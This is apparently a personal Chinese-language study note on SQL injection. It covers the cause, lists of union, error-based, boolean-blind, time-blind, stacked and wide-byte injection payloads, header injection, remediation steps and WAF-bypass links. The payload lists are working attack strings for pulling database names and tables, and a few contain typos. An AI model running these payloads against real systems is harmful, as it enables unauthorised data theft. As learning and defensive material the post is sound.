虽然web基础的一些漏洞都已经学过了一遍,但感觉基础知识掌握的并不是很好。俗话说“基础不牢,地动山摇”,防止学过的知识有一阵子不看就忘,写一遍也是好的,再用到的时候哪里有遗忘的地方也可以快速地查找。
第二遍迭代目标:SQL注入、文件上传、文件包含、XSS、xxe、ssrf、内网提权等是基础,不仅要会利用,还要懂得产生原理、代码层面的,还有如何修复,怎么绕waf,各种payload...路漫漫其修远兮,吾将上下而求索。
So,我的第二遍迭代开始啦!
一、SQL注入原理
对用户的输入信息过于信任,没有做任何过滤就拼接到了SQL语句中进行执行。导致用户构造的恶意SQL代码也被执行了。
二、SQL注入payload
1、Union联合注入
?id=1 order by 1--+
?id=-1 union select 1,2,3--+
?id=-1 union select 1,database(),3--+
?id=-1 union select 1,group_concat(tables),3 from information_schema.tables where table_schema=database()--+
2、报错回显
(1)Floor()
id = 1 and (select 1 from (select count(*),concat(floor(rand(0)*2),database())x from information_schema.tables group by x)a)
进一步注入只需把划线位置换成注入语句
database() => (select group_concat(table_name) from x where table_schema=database())x from...
(2)Extractvalue()
id = 1 and extractvalue(1,concat(0x7e,(select user()),0x7e))
0x7e是波浪线(~),用于将注出来的信息和其他报错信息隔离开
0x3a是冒号(:)
(3)Updatexml()
id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)
3、bool盲注
?id=1 and 1=1--+
?id=1 and 1=2--+
?id=1 and length(database())>1--+
?id=1 and ascii(mid(database(),1,1))>90--+
?id=1 and length((select table_name from information_schema.tables where table_schema=’security’ limit 0,1))>1--+
?id=1 and ascii(mid((select table_name form information_schema.tables where table_schema=’security’ limit 0,1),1,1))>90--+
4、时间盲注
?id=1 and sleep(3) and 1=1--+
?id=1 and sleep(3) and 1=2--+
?id=1 and sleep(3) and length(database())>1--+
?id=1 and sleep(3) and ascii(mid(database(),1,1))>100--+
5、堆叠查询注入
试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
堆叠注入存在一定局限性,并不是每个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,也可能因为权限不足。
Select sno from student;select 1 from student;
6、宽字节注入
转义符是反斜杠\,ASCII码为0x5C,在\前面增加高字节,0x5C被当做低字节,组合为“汉字”,导致\符号被“吃掉”,后续字符逃出限制,从而绕过转义。
出现宽字节注入漏洞的条件:
(1)数据库编码要是GB系列(GBK、GB18030、BIG5等低字节符范围中含有0x5C的双字节字符编码集均存在宽字节注入/绕过,GB2312、UTF编码中\不会被吃掉)
(2)使用了转义函数,将GET、POST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符 \ 进行转义。常见的包括addslashes()、mysql_real_escape_string()函数,转义函数的转义作用,就是我们常说的“过滤机制”。
当两个条件都满足时才会出现宽字节注入。
select a from b where table_schema=%df\'abc%df\'
7、Http Header注入
开发人员为验证客户信息(cookie)或用http header 获取客户信息(如:useragent、accept),会对http header 信息进行获取并使用sql进行处理,若安全措施没有做好,很有可能导致sql inject漏洞。
三、SQL注入漏洞修复
1、使用参数化查询接口
2、对SQL语句中的用户输入进行转义或过滤。
3、如果参数的数值一定是整数,可判断变量是否符合0-9的值
4、预编译SQL语句
四、SQL注入绕waf
mysql盲注绕过关键字过滤常用技巧 - 镱鍚 - 博客园 (cnblogs.com)
SQL注入绕过waf的一万种姿势 - 铺哩 - 博客园 (cnblogs.com)
在实践中不定期更新,loading...